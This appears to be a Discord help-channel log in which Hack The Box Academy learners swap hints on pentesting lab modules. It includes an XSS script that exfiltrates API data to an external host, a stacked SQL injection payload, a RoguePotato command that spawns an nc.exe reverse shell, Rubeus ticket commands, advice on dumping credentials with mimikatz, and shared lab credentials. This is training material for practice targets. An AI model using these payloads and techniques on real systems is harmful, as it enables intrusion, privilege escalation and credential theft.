#modules

1 messages · Page 182 of 1

placid edge
#

welp, if its pinlocked and you dont have any way to leak information of the system you are attacking thats a deadend

#

i belive you would at least need lfi to leak the pin

next bronze
#

is that a box?

ebon jasper
#

Hi everyone!
I need advices of Linux experts
I want to learn linux administrator I don't know where to start, but for now I started to learn set linux as server for web sites. I write basic code in html
By browsing IP address I can see my site but I can not see from outside of network I know why but I don't know how to access from outside network?!

placid edge
#

you will need to port forward

#

and use your public ip

ebon jasper
next bronze
#

don't self host unless you know what you're doing, host it somewhere else

buoyant escarp
# next bronze is that a box?

Once ive had a box with that, to recreate a pin code for a python based terminal in admin page, never seen something like it in a module

tranquil axle
buoyant escarp
#

Ah right agile

next bronze
placid edge
ebon jasper
#

Hmm, understood

#

BTW does someone know resources to learn linux sys adminstrator I need platform like hackthebox if there is. I searched from google I found 6 hour video from you tube it is not okay to me because I have problem listening I am not native english

umbral fulcrum
#

hey @hallow kiln , I got it working but I did it with ssh dynamic port forward & on the second host installed the agent.

didn't managed to understand Y this works & installing 2 agents didn't, cause if I'll need another pivot I'm not sure that it will work ...

rustic sage
#

How can one adequately prepare for participation in CTFs that adopt a Jeopardy-style format?

next bronze
umbral fulcrum
#

If someone know about it, please let me know I'm very curious about this

next bronze
#

double pivot with ligolo works, done it a lot of times, if you didnt' change anything for the second agent then that's your problem. the second agent needs to connect to the listener of the first agent, which connect to the proxy listener, it's like human centipede but with ligolo agents

olive fiber
eternal ridge
#

I just got this answerC:\Windows\System32\cmd.exe
When I submit, the web told me it's wrong😫

supple gorge
#

could be a formtting issue

eternal ridge
supple gorge
eternal ridge
supple gorge
#

try System32

eternal ridge
supple gorge
eternal ridge
obsidian onyx
#

Hi it's me again !Stillstuck on the ADCS couse for ESC4... I did that command : .\Rubeus.exe asktgt /user:administrator /certificate:admin-esc4.pfx /password:Password /ptt ... Got the ticket here is : PS C:\Tools> klist

Current LogonId is 0:0xc5e6d

Cached Tickets: (1)

#0> Client: administrator @ LAB.LOCAL
Server: krbtgt/lab.local @ LAB.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 1/15/2024 15:27:51 (local)
End Time: 1/16/2024 1:27:51 (local)
Renew Time: 1/22/2024 15:27:51 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:

#

But still got access denied : PS C:\Tools> dir C:\users\molly
dir : Access to the path 'C:\users\molly' is denied.
At line:1 char:1

  • dir C:\users\molly\
  •   + CategoryInfo          : PermissionDenied: (C:\users\molly\:String) [Get-ChildItem], UnauthorizedAccessException
      + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
    
    

PS C:\Tools> dir \lab-dc.lab.local\c$\users\molly
dir : Access to the path '\lab-dc.lab.local\c$\users\molly' is denied.
At line:1 char:1

  • dir \lab-dc.lab.local\c$\users\molly\
  •   + CategoryInfo          : PermissionDenied: (\\lab-dc.lab.local\c$\users\molly\:String) [Get-ChildItem], Unauthori
     zedAccessException
      + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
#

I tryied to ask a tgs with cifs service... noluck again

eternal ridge
#

Oh, you can try "System32"?

jade pendant
#

Hey, I'm done with nmap enumeration module and I wanted to learn/practise more on bypassing firewalls. So what am I supposed to do?

obsidian onyx
#

FYI, I used winrs to connect back to the dc and got the file. Really don't understand why I cannot type the file even with the ticket but that worked.

next bronze
#

is that the only ticket in your session?

obsidian onyx
#

After getting TGS for CIFSgot that one too: #3> Client: administrator @ LAB.LOCAL
Server: cifs/lab-dc.lab.local @ LAB.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 1/15/2024 15:32:25 (local)
End Time: 1/16/2024 1:31:56 (local)
Renew Time: 1/22/2024 15:31:56 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
PS C:\Tools>

#

And with winrs got HTTP too.

#

@next bronze , and I dont find that info... (Abuse ESC4 to change the configuration for the template ESC4. Afterward, submit the value of the property Certificate Name Flag.) by the way thanks a lot for your help

next bronze
#

hmm weird so you need to specifically get a ST to get access

#

tbh I don't use rubeus enough to know why

obsidian onyx
#

I use it a lot... but can't figureit out why this is not working.

#

but all good. will try to find that name.

next bronze
#

it should just be in the output iirc

misty current
#

@next bronze xD

#

For Advanced XSS and CSRF Exploitation Skills Assessment, || I'm able to bypass the CSP and execute XSS attacks, but there's no CORS configured (If i'm not wrong) I'm stuck from moving from here. Also, where the XSS payload resides, I don't think I'm getting any hit from the bot viewing it (is it even viewing it?)|| Any nudge would be appreciated
|| I did find a weird thing that, even tho there were no CORS configured, I was getting data back to my exfil server from an auth endpoint when I visit it myself? Would be nice if I can get this explained ||

#

You're banned from DM'ing me from now on @quick crane peek

next bronze
north narwhal
#

yo guys does anyone know anything abt how to change an an sql command through the query

#

my task is to change a price of a product through a searchbar

#

Your Query: SELECT * FROM products WHERE prod_name = 'searchfor'

still yacht
#

So I am in the Advanced XSS and CSRF Exploitation

and it wants me to access the local storage property to grab the auth bearer that is stored in victims local storage, and then set Authorization header.

This is module Enumeration internal API´s

try {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://api.vulnerablesite.htb/v1/sessions', false);
    xhr.withCredentials = true;
    xhr.send();
    var msg = xhr.responseText;
} catch (error) {
    var msg = error;
}

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://exfiltrate.htb/exfil?r=" + btoa(msg), false);
exfil.send();

still yacht
#

does someone have a good example how I would exfiltrate the bearer

north narwhal
#

HOLD ON

#

SELECT * FROM products WHERE prod_name = 'UPDATE products SET prod_price = 3000 WHERE prod_name = The Holy Grail'

#

this ends up as the query

#

UPDATE products SET prod_price = 3000 WHERE prod_name = 'The Holy Grail' this is the command i typed in but i got a syntax error

north narwhal
next bronze
#

if you're asking for help for homework that that's all the help you're gonna get, I don't recall there being a module about this KermSip

north narwhal
#

i mean im just asking TT

#

sqli is the topic

tranquil axle
manic onyx
#

I'm doing the Attacking Applications Connecting to Services and having trouble debugging the 'octopus checker' binary... I am trying to set the breakpoint to the address where it calls the SQLDriverConnect function but gdb is just telling me that it 'Cannot insert breakpoint 1. Cannot access memory at address etc..'. I am following the module exactly. Do I need to format the address breakpoint command a certain way?

north narwhal
manic onyx
#

I have tried breakpoint commands b *0x11b0 and b *0x00000000000011b0

north narwhal
#

The Holy Grail; UPDATE products SET prod_price = 3000 WHERE prod_name = 'The Holy Grail'. like this?

faint rampart
#

run then add the breakpoint then run again

manic onyx
#

Yep that makes sense. Thanks!

#

Haven't used gdb hardly at all

median kettle
#

on htb windows privilege escalation for the kernal exploit, is it malfunctioning? i see a user hacker on there...seems like they didnt clean things out

faint rampart
median kettle
#

none of the exploits work either lol

tranquil axle
north narwhal
#

ARGHHHH COMPICATED

#

so the problem is the second graail

#

Your Query: SELECT * FROM products WHERE prod_name = 'The Holy Grail'; UPDATE products SET prod_price = 3000 WHERE prod_name = The Holy Grail'

#

tried this but failed

manic onyx
median kettle
#

@faint rampart when i run the hivenightmare exploit, i dont see the file your suppose to pull from impapcket

manic onyx
north narwhal
#

if only i knew my friend TT

tranquil axle
north narwhal
#

i tried commenting it out

#

the ' seems to be always at the end

tranquil axle
#

try what you did above but just add a ' before the second "The Holy Grail"

median kettle
#

so i have 0 clue what to do here haha

north narwhal
#

The Holy Grail'; UPDATE products SET prod_price = 3000 WHERE prod_name = 'The Holy Grail'

#

Your Query: SELECT * FROM products WHERE prod_name = 'The Holy Grail'; UPDATE products SET prod_price = 3000 WHERE prod_name = 'The Holy Grail''

#

this is the outcome

#

it doesnt tell me whats wrong no

#

WAIT

#

IT CHANGED THE PROD

#

INTO THE 3K THAT I WANT

#

i just noticed TT

faint rampart
#

then run it afterwards again, they left that part out in the module section for some reason.

north narwhal
#

The Holy Grail'; UPDATE products SET prod_price = 3000 WHERE prod_name = 'The Holy Grail - this is the right answer

#

THANK U OLLI <33

manic onyx
faint rampart
faint rampart
#

Lemme check my notes lol dont remember

median kettle
#

im able to save the hashes to a file and make and write to the file in that directory O.o

#

but copy

#

can i DM you @faint rampart

faint rampart
median kettle
#

sorry

faint rampart
faint rampart
# median kettle sorry

If you used the printnightmare psh exploit you need to log off the box so the privileges reflect after logon.

#

I'd advice you ignore the hacker user and just make yours lol

median kettle
#

got it, i figured that as much

faint rampart
#

If you wanna use the service tracing CVE (the last one) you could use some other payload, I had issues witht he https one, shell kept dieing.

graceful inlet
#

hiii

faint rampart
cunning atlas
#

hey for the injection assessment w/ the ssrf chained to the exfil exploitation would someone be willing to talk to me direct about the approach or methods for doing this bc i don't know if you're supposed to use something from earlier in the modules or something else but it seems kinda weird .. ☮️

wary tendon
#

having trouble using burp intruder for burp intruder chapter in using proxies can someone help me in telling me where I'm going wrong

snow ridge
#

Any hints for AD Enumeration & Attacks - Skills Assessment Part I?
Got sql service password but can't authenticate to that service inside AD network. Rev shell is also very unstable and many of the tools are not working because of that. I setup port forwarding with meterpreter shell so I can use tools directly from my machine too.

oblique spoke
#

Hi! I am a bit lost in Active Directory Enumeration & Attacks Assessment II
Currently I am at:

  • Q8: Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host. Got LOST
  • Q9: Answered from Bloodhound C*** username
  • Q10: Crack this user's password hash and submit the cleartext password as your answer. Got LOST

I am RDP with both of the accounts user A---- and user B ---- running Inveigth with 0 luck.
Got a bunch of kerberoast tickets but no luck with hashcat.
Can anyone point me to the right direction? Much appricieted ❤️

mystic wraith
#

Hi... I just owned Monitored from Season 4 and forgot to share my achievement on LinkedIn... How do I get the achievemt pop to show up again so I can post in on my social media?

#

@marble pond Can you help me?

mystic wraith
#

@supple gorge It says No Access

supple gorge
mystic wraith
#

No I didn't

#

Oh... I got it

next bronze
oblique spoke
next bronze
#

for which question?

oblique spoke
next bronze
#

I said dump everything, snaffler doesn't actually dump much

#

try mimikatz

oblique spoke
#

okay

snow ridge
#

@oblique spoke Question number 4 I got 1,2,3 but then got stuck.

oblique spoke
#

not A--- and B--

oblique spoke
#

you gonna see some cleartext pw in the logs

oblique spoke
next bronze
#

and 7?

oblique spoke
next bronze
#

yeah dump everything on that host, you should have system

sage pumice
#

Hello, can someone help me with the module "Introduction to Digital Forensic" (more precisly the "Practical Digital Forensics Scenario" exercice part) please? :)

oblique spoke
next bronze
#

then you didn't look hard enough

thorn urchin
#

I usually like to dump with multiple tools, Ive seen some cases where different tools had different results, even supposedly using the same methods

#

my order of preference being impacket -> lazagne -> mimikatz

cunning atlas
#

Lasagna?

oblique spoke
#

Impacked didnt gave me any output, didnt tried lazagne and i am trying with minikatz

cunning atlas
#

Wow, massive respect for that instantaneous garfield follow up.

next bronze
thorn urchin
oblique spoke
next bronze
oblique spoke
#

No i have 2 usernames || BR086 and AB290 || with pw

next bronze
#

what how'd you get the flag then

oblique spoke
#

Which one? The sql?

next bronze
#

flag 7, you need admin for that

#

anyways, if you have a service user, check what prices they have

oblique spoke
#

Oh yeah i logged in to the sql machine with the web creds and used a tool tonescalate the priv then made reverse shell with ncat and read rhe fike

#

Butbthat vas on the another machine

#

Okay im gonna check that tomorrow its pretty late here, thank you for the tip

next bronze
#

yes check that machine

thorn urchin
#

in multi box environments, escalating to system isnt necessarily the end of the box. You should do post system/root credential har vesting for lateral movement

visual tangle
#

guys I struggle at AD Enumeration & Attacks - Skills Assessment Part II Q7 "Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host. " I try to upload the compiled executable of JuicyPotato but everytime i get an access denied error

next bronze
drowsy quarry
#

The advanced Deserialization Lab has reallly bad performance, Its almost impossible to use, and sucks because we are suppose to use Visual Studio, dnSpy and some other tools that uses a lot of RAM. I spend all day in the lab and is very frustrating. I dont think it has to be a Windows 10 vm, it can be a Windows 7-8 maybe.

snow ridge
shrewd hazel
#

is there a difference between sub-domains and a virtual host?

thorn urchin
#

vhosts are hosts that are stored on the same machine. technically they dont even need to be the same domain at all.

sub domains can have entirely different IPs

#

for ex, shared web hosting servers? Each domain on there is implemented with vhosts even though theyre seperate clients with seperate domains

shrewd hazel
#

interesting

thorn urchin
#

enuming vhosts is just an easy way to also enum sub domains in some scenarios

shrewd hazel
#

working on ffuf fuzzing sub-domains and vhosts

plucky latch
#

The Password Attacks Module is no joke

lusty thicket
proud notch
#

For the following question, "Use the user's credentials we found in the previous section and find out the credentials for MySQL. Submit the credentials as the answer. " I was able to get the password using the ||Default Creds list|| adding entries for MySql to a new .list file like the example gave, but when I run it through hydra it kept getting an error. Are we supposed to be able to use the brute forcing tool when doing this section or is it supposed to be guess and check? Additionally I don't see what having sam's credentials do for you as I wasn't able to do anything while ssh'd into the account.

fathom pendant
sturdy hearth
#

hey guys

#

new to cybersecurity any suggestions?

proud notch
thorn urchin
fathom pendant
#

The default creds list is 100% intended

bleak lantern
#

Sup? I am doing Introduction to Digital Forensics and I have problems to understand this part "Accessed Time (A): This timestamp reflects the last occasion when the file was accessed or read, updating whenever the file is opened or otherwise engaged.". What means "engaged" in this context?

proud notch
# fathom pendant The default creds list is 100% intended

Are we supposed to be able to automate it or do it manually? I was able to submit the correct answer from the list but when I tried to sign in from the pwnbox I kept getting errors. Is there a database name that we are supposed to find?

fathom pendant
#

You have to be connected to Sam via ssh

#

And run through the list that way

proud notch
#

I am, I also just pm'ed a snipped of what I keep seeing.

fathom pendant
#

I dont recall if I had to specify anything like a database name

#

¯_(ツ)_/¯

#

It's been ages tbh

proud notch
fathom pendant
#

Ye that tends to be the case

umbral fulcrum
visual tangle
#

Guys what am I doing wrong (Q7, AD Enumeration & Attacks - Skills Assessment Part 2)?

SQL> xp_cmdshell C:\Users\Public\RoguePotato.exe -r 172.16.7.240 -l 9999 -c "{69F9CB25-25E2-4BE1-AB8F-07AA7CB535E8}" -e "c:\Users\Public\nc.exe 172.16.7.240 8443 -e cmd"
output


[+] Starting RoguePotato...

[] Creating Rogue OXID resolver thread

[] Creating Pipe Server thread..

[] Creating TriggerDCOM thread...

[] Listening on pipe .\pipe\RoguePotato\pipe\epmapper, waiting for client to connect

[] Calling CoGetInstanceFromIStorage with CLSID:{69F9CB25-25E2-4BE1-AB8F-07AA7CB535E8}

[] Starting RogueOxidResolver RPC Server listening on port 9999 ...

[*] IStoragetrigger written:106 bytes

[-] Named pipe didn't received any connect request. Exiting ...

NULL

next bronze
fallow snow
#

Evening all - Just looking to get a sanity check here. I'm on the knowledge check for the Getting Started module, so looking for a point in the right direction, rather than actual help.

I've gone through and done my Web Enumeration on the target IP, found and documented quite a nice amount of info. Now I'm looking to gain a foothold. I reckon I know how to do it, once logged in, although I cannot seem to get the password.

Spoilers below:

||I found the below, when searching the site||
||Admin.xml||
||Username: Admin||
||Password: d033e22ae348aeb5660fc2140aec35850c4da997||
||Email: admin@gettingstarted.com||

Am I right in thinking, the ||Password|| is encoded? I've tried decoding on Base64, Roti13 and hex but it doesn't output anything. So could I assume this is hashed? But I feel that's me going too deep and getting sidetracked 😄

Many thanks,

woeful pewter
#

Is the access to 10.10.110.35 due to the upload of the PDF?

barren slate
umbral fulcrum
next bronze
#

same as how you created the first tunnel

#

being able to read errors and fix them is a core skill

fallow snow
thorn urchin
barren slate
fallow snow
#

Ah apologies, let me search again! Thank you!

barren slate
#

Np!

thorn urchin
#

just eyeballing it and I agree it doesnt look like md5 though. but def looks like a hash, maybe sha

barren slate
#

@fallow snow I would suggest looking into a tool called John the Ripper. You will definitely use it later on multiple times

fallow snow
barren slate
#

Great!

thorn urchin
#

but congrats

fallow snow
#

ah, my bad!

#

I'm slowly learning all the lingo 😄

thorn urchin
#

no worries, just a bit of terminology to learn

cedar void
#

https://academy.hackthebox.com/module/143/section/1484
" Apply what was taught in this section to gain a shell on DC01. Submit the contents of flag.txt located in the DailyTasks directory on the Administrator's desktop. "

For this command(sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap) to run successfully , I would have to pivot to that IP address right?(I ran the command on the attack machine and of course it did not work.)

barren slate
#

can i paste screenshots in this thread?

thorn urchin
barren slate
#

oh ok

#

thanks

thorn urchin
barren slate
#

Hello this is my first time in the HTB discord since im seeking for a bit of help on the Stack-Based buffer Overflows on Linux - Indentifying Bad Characters module

In gdb im trying to run the command in the screenshot to pass the python output to the input of the program

Here's my issue, when I try to pass a NOP (\x90) to the program the NOP gets encoded in UTF8, so when I inspect the stack, the values inside it are not actually NOPs, but instead these are represented in two bytes (due to UTF8 encoding)

so what should be 0x90 is instead 0xc2 0x90 inside the stack

So when trying buffer overflows this completely messes up the entire process because:

1- The NOPs are not being read as actual NOPs

2- each \x90 now occupies two bytes of space instead of one byte which completely shifts my offset to the rip or the instruction pointer

Does anyone know a way to solve this?

umbral fulcrum
# next bronze same as how you created the first tunnel

I just figured what U saying ...
every tunnel must connect to a new interface which needed to be up, so the amount of the session is the amount of the interfaces

damn I got my head deep in the ground I couldn't understand what @full nimbus was explaining me

thanx @next bronze , @hallow kiln , @full nimbus & @fathom pendant

fathom pendant
#

You can also drop the current connection and use a new session

#

As it's still technically connected

#

No need to make n amount of interfaces

next bronze
fathom pendant
#

Newer version forces you to stop the current tunnel and start a new one

fathom pendant
#

I did this in the pivoting module for practice in the double pivot sections

#

As long as you have the listener set up on the session it'll work

next bronze
#

if you stop the tunnel wouldn't it kill the connection?

fathom pendant
#

Well the way that older versions worked is it stopped the tunnel from sessionA and started it on sessionB

next bronze
#

yep

fathom pendant
#

It's the same thing

#

Except manually

visual tangle
fathom pendant
#

Because you have the listener pointing back to your proxy

next bronze
#

ah okay didn't test it enough to find out

fathom pendant
#

So once sessionB is initiated, you can drop the tunnel A and switch to B

#

It's one of those weird things

#

¯_(ツ)_/¯

#

But it's basically still connected through the session listener

#

Bc when you start the agent on B you point it back to A in the chain

#

Also just bc your rdp session may drop, the commands Are still running on the desktop you used

next bronze
#

interesting

fathom pendant
#

Ye so it's still listening

#

I'm definitely interested though in its continued development, hope they bring back the tunnel swapping feature

#

Or give it an argument flag like start --switch

fallow snow
#

Am I being dumb, or does this not work on purpose?

fathom pendant
#

Fwiw you can edit the themes without being signed in as admin

#

The blah/themes/

fallow snow
#

hm, ok. But iut doesn't have an image upload plugin.. it only have a theme and send data. So I don't see how I could use that?

#

Or do plugins automatically get like root access?

fathom pendant
#

Based on the plug-in information and vulnerabilities: go off that

fallow snow
#

Assuming I could download a vulnerable plugin?

fathom pendant
#

One of those looks interesting

fathom pendant
fallow snow
#

Welp, MY Pwnbox ran out of time 😄 So it's a tomorrow job now!

Awesome, I'll take note and have a crack again tomorrow.

fathom pendant
fallow snow
#

and then I go to bed thinking about it and more motivated to tackle it again in the morning/evening

fathom pendant
#

So you can easily pick back up if your notes missed something

fallow snow
#

Ya, like logs and stuff

fathom pendant
#

I.e. cracked creds

fallow snow
#

yeye. Currently using VSCode to make notes of it all

fathom pendant
#

Use obsidian

#

1000x better

fallow snow
#

How come? I really like vsc

fathom pendant
#

Obsidian supports markdown and allows you to backlink to other note pages

fallow snow
#

hmm, I'll take a looksie!

fathom pendant
#

so you can make headers

subheadings

subsubheadings

fallow snow
#

ahhh niceee!

fathom pendant
fallow snow
#

Yeah currently I do this:


-[[ Web Enumeration
NMAP inital IP to find open ports
    use --open to limit to only open ports
    use -oA to output and include a file name to document all findings
    Full TCP Port scan can be done using: nmap -p- --open -oA <fileName> <targetIP> (this takes a while)
    use nmap scripts or targeted ports to find more info with: nmap -sC -p <port,port> -oA <fileName> <targetIP>

    if targeting Web Servers, you can specify scripts, this is a http enumeration script to find directories:
        nmap -sV --script=http-enum -oA <fileName> <targetIP> 

cedar void
fathom pendant
fallow snow
#

tyty - Anyhow. Good night. Again thanks for the help!

limber river
fathom pendant
fathom pendant
next bronze
fathom pendant
#

172.16.5.225 htb-student:HTB_@cademy_stdnt! @cedar void

barren slate
#

do yall actually use notes? I would always try to use things like obsidian for notes but i always write them down and never look at them anymore

proper nacelle
#

Hey anyone around to help with Footprinting-SMTP section?

barren slate
#

i either always write everything, which is kinda pointless, or write too little

next bronze
#

then make them better. writing your own notes is the best way to retain information and makes it easier to refer back

cedar void
proper nacelle
#

Does this have advice for HTBA SMTP in footprinting, the second question? "Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer."

thorn urchin
#

and I use folders to organize by topics

#

this shows a bit of organization. Not as clean as I could make it though

fathom pendant
barren slate
proper nacelle
cedar void
proper nacelle
#

what do you mean by that, remote sercices that have the smtp port too?

cedar void
#

Sorry, I meant remote services, as in the remote target

thorn urchin
cedar void
proper nacelle
#

I used nmap --script smtp-enum-users.nse xx.xxx.xxx.xx and got some users

#

^ I got the flag btw, thanks @cedar void

lusty hearth
#

Can someone help me with this?

Module: Advanced Xss and CSRF Exploitation
Section: Bypassing CSRF Tokens via CORS Misconfigurations

I can find the HTML element and post parameter for the final payload. I cannot get the CORS misconfiguration to work and promote my privilege's.

winter arrow
#

i cant beat the hard footprinting lab still

#

im forever hard locked on this stupid lab

languid wharf
#

What are you stuck on?

winter arrow
#

i got the creds but i cant get imaps to work

fathom pendant
winter arrow
#

cant login

#

the login command dont work

next bronze
#

don't work means what? what's the error

#

could either be your command is wrong or your creds are wrong

winter arrow
#

i did login then user name and pass it worked on pop3s

agile torrent
#

wrap spoilers in double bars (||)

#

or use /spoiler at the start, like a command, instead of at the end

sleek moss
#

kk

agile torrent
#

i haven't done that module, so I won't be much help sorry, but im sure someone else here has

winter arrow
#

i just want to be free from this stupid lab

fathom pendant
winter arrow
#

i couldnt login in for some reason

fathom pendant
#

"For some reason"

#

Imaps requires a prefix

winter arrow
#

said the command was wrong but it wasnt

fathom pendant
#

[Any character] login username password

winter arrow
#

i just used login in lol

fathom pendant
#

In imaps, port 993

#

Pop3 uses different commands

winter arrow
#

bad error in IMAP command received by server

fathom pendant
#

Paste exactly what you're doing, replacing the username and password with user and pass

#

Imap, as stated, requires a prefix character before the command

sleek moss
#

klist lists the krb5 variable right? i put a keytab file location to the krb5 variable but klist odesnt work

fallow rock
#

I nned help.

#

So I Navigate it on elastic but it won’t go through need help

#

The question is

fathom pendant
fallow rock
#

Navigate to http://[Target IP]:5601, click on the side navigation toggle, and click on “Discover”. Then, click on the calendar icon, specify “last 15 years”, and click on “Apply”. Finally, choose the “windows*” index pattern. Now, execute the KQL query that is mentioned in the “Comparison Operators” part of this section and enter the username of the disabled account as your answer. Just the username; no need to account for the domain.

winter arrow
#

what did you use

#

i used the asterisk as a character before login

fathom pendant
#

Use any standard character

#

And a space

#

Actually nvm * works

winter arrow
#

i had to use a t

fathom pendant
#

I literally keysmashed and the command went through

#

Klist should get it or kinit iirc it's been a minute since I did this

sleek moss
#

i c ok danke

winter arrow
#

now i dont see what i need i changed to the directory

fathom pendant
winter arrow
#

yea im using them right now

fathom pendant
#

The only one I'll say to change is the fetch

winter arrow
#

thats the one i just tried

fathom pendant
#

Instead of 'all' use 'body[]'

winter arrow
#

okay

fathom pendant
#

You need to select the mailbox with messages in it to fetch it

winter arrow
#

i did but it wont take it

fathom pendant
#

Did you list all mailboxes?

winter arrow
#

yea

#

i went for the one that indicates urgent

fathom pendant
#

When you select a mailbox it will tell you if there's emails in it

#

[N] exists

#

Also it is entirely possible to get it with pop3s, imaps is just "smoother" to see what you're doing

#

Logged in and retrieved with 0 issues

#

So both imaps and pop3s work as intended for this skill assessment

limber river
#

anyone facing problem with spawning machines ?

fathom pendant
#

Nope, took a few minutes but the machine was smooth

limber river
#

stuck for 15 min

fathom pendant
#

You'd obviously need to download a new vpn

limber river
fathom pendant
#

👍 sometimes the servers shit the bed

pulsar portal
#

Hi, currently working on "Introduction to Deserialization Attacks" skill assessment II, I was able to get admin on the page but I'm stuck in getting RCE, Any hint will be appreciated.

sleek moss
#

any advice for /home/carlos@inlanefreight.htb/.scripts/john.keytab

fathom pendant
#

View the script

#

See where it points

sleek moss
#

i mean the impersonate the ivc_ guy

#

from carlos acc i did i was able to get the aes hash

#

but not the ntlm hash for that acc...

#
  • 0 Check Carlos' crontab, and look for keytabs to which Carlos has access. Try to get the credentials of the user svc_workstations and use them to authenticate via SSH. Submit the flag.txt in svc_workstations' home directory.
fathom pendant
#

The hash you get from there is great for the next step

sleek moss
#

oh i c ok danke and also when u do su - why do u need to put carlos@inlanefreight.htb instead of just carlos

fathom pendant
#

User@domain

#

It's common in domain joined systems

sleek moss
#

oh i c

#

you are connecting to domain controller by using that too?

fathom pendant
#

The linux host is connected to a domain, and is requiring domain user logins

sleek moss
#

o i c

#

its not in the passwd file tho

fathom pendant
#

I forget how I cracked it but it wasn't difficult from what I remember.

sleek moss
#

no i mean how did it authenticae if its not in passwd file

fathom pendant
#

It's authing through a domain controller

sleek moss
#

o i c

#

danke

#

wat da hell... su: Permission denied

#

nvmm i figured it out danke

limber river
# limber river stuck for 15 min

back to this , I solved the challenge while ago , now I am trying to refresh my memory
I use the same cmd as my note , but can't get the flag , it's always closed

supple gorge
limber river
rustic sage
#

I need help, I'm really confused on the explanation of getting MSSQL hashes using responder for an account, how exactly do I get the hash for an account other than the one I am logged into using responder?

fathom pendant
#

It's calling out using a user-agent

#

So instead of asking as [user] it's asking as [service]

rustic sage
#

Ok I got the hash, I don't know what the hell happened

#

exec master..xp_dirtree '\\10.10.14.29\share\'
when I run this why does it trigger mssqlsvc to do something?

fathom pendant
rustic sage
#

okay

#

so used to mysql as it's the db i worked with in the past, but not mssql, it's super alien to me

#

but I got the basic commands jotted down a t least

fathom pendant
#

The skill assessment involving it is a bit out there to say the least btw

weary lily
#

Are you sure it ONLY deletes?

river meteor
#

Hlo

#

I need help

fathom pendant
#

This is vague af

#

What module and section are you working on

#

What have you done, what are you struggling with

river meteor
#

i am playing season 4

#

Machine Bizness

fathom pendant
#

OK so thus is the wrong channel entirely

river meteor
#

I found the bizness machine user flag

fathom pendant
#

This channel is for help with htb academy modules

#

You will not get help with main platform labs here

river meteor
#

But as soon as I submit, you are telling me it is wrong.

fathom pendant
#

Sir

river meteor
#

Ok ok

fathom pendant
#

This is not the place to ask for help

sudden summit
#

hey guys. Im doing the securecoding module and have found that jsnice got rid of the packer and detection functions. Does anyone have a recommonded packer detection and variable renamer for javascript?

fathom pendant
sudden summit
#

hmmm I really need something that renames tha variables so they make sense so I can reverse engineer them like in the module

fathom pendant
#

It works just the same and I believe it's mentioned

sudden summit
#

like just run the code and output the result so no need to manually analyse what the codes doing?

fathom pendant
#

Replacing the exec or w/e statement with print()

fathom pendant
sudden summit
#

Yeha I did that one years ago. Might need a refresher I think

fathom pendant
#

If you're fairly familiar with js it takes maybe an hourish to complete

sudden summit
#

yeha

#

thanks man, much appreciated

fathom pendant
#

Yeah the summary of the advanced module even recommends doing it lol

sudden summit
#

yeha I thought id be good becasue I did it many moons ago haha.

fathom pendant
#

Time for a bit of a refresher then

sudden summit
#

yep!

wheat scroll
#

Hello, I suppress the proxy window and intruder also in Burp suite

#

How can I resettle it

barren slate
#

did you mean you clicked on hide?

wheat scroll
barren slate
#

clicking on 'Restore default layout' on View tab doesnt work?

wheat scroll
#

Thanks man

barren slate
#

Np

rustic sage
#

can anyone maybe allow me to add them and help an aspiring cybersecurity enthusiast start on HTB?

compact patrolBOT
rustic sage
#

thx.

dark nova
#

Lab machine performance doesn't changed whether you are subscribed or not? Think its just a coincidence that I am suffering from a lot lag since cancelled my sub but just wanted to make sure.

autumn pilot
#

reach out to support

oblique spoke
# next bronze yes check that machine

i dumped sam but cant move from SQ01 is there any suggestion? smb server doesnt really work. and the nc shell is weak to run mimikatz on the machine

dark nova
next bronze
hoary sail
#

Hello, I try to complete final assessments of Login Brute Forcing module in Academy. I have the user whose username should be guessed as well as the password against SSH service. I have got like 15 variants of his username and around 463 passwords (6945 attempts in total). However the bruteforce by hydra tooks like hours (after 31 mins of running still estimated 2,5 hrs to be running). I'm affraid that I'm not even able to bruteforce it as the testing container with SSH is running like 1 hour.
Is there any possibility how to optimize hydra? (I tried to play with -t parameter, but no significant change)

oblique spoke
covert blade
#

Hello I'm stuck on webenum module pwnbox exercise.
It say: "Try running some of the web enumeration techniques you learned in this section on the server above, and use the info you get to get the flag."
This is a big unprecise. What are we actually supposed to search for ?

next bronze
#

that's the point, you don't know, so try the things taught in the section

tidal kelp
#

Hi, can I DM you about this whitebox pentesting skill assessment? I know endpoint|| \ping|| and|| '{"debug": true, "ip":"Payload"}'|| is the cause. I would love to chat with you and get a nudge ideas off. Thanks

covert blade
autumn pilot
#

The flag is in format HTB{fak3_flag}

pine dagger
#

@tidal kelp You're like the only person who has actually followed the rules and asked before DMing ❤️

fathom pendant
pine dagger
fathom pendant
fathom pendant
barren slate
#

@next bronze you really made me crack your about me. But appreciate the eggplant 👍

full nimbus
covert blade
#

I don't have it

fathom pendant
#

the academy uses a different vpn

#

and any section that requires the vpn will have a download for it

#

but if it's a public ip:port then it's not needed

#

i.e. 94.136.101.26:56004

#

(note you only need to download the academy vpn once unless you change region)

covert blade
covert blade
fathom pendant
#

it could be the ipv6 error that some people have had for some reason

covert blade
#

yes "Linux can't add IPv6 to interface tun1"

fathom pendant
#

this is the solution

#

idk why ipv6 is disabled on your device

#

but it happens

covert blade
#

Okay let me try this.
btw I'm using expressvpn , that shouldn't cause any trouble right ?

#

or should I better desactivate it ?

fathom pendant
#

it's literally a case of ipv6 being disabled

#

which is what switching that /proc/ file from 1 to 0 fixes

covert blade
#

Okay, when downloading the vpn connection file,
should I select udp or tcp ?

#

or it doesn't matter ?

fathom pendant
#

tcp is more stable

full nimbus
#

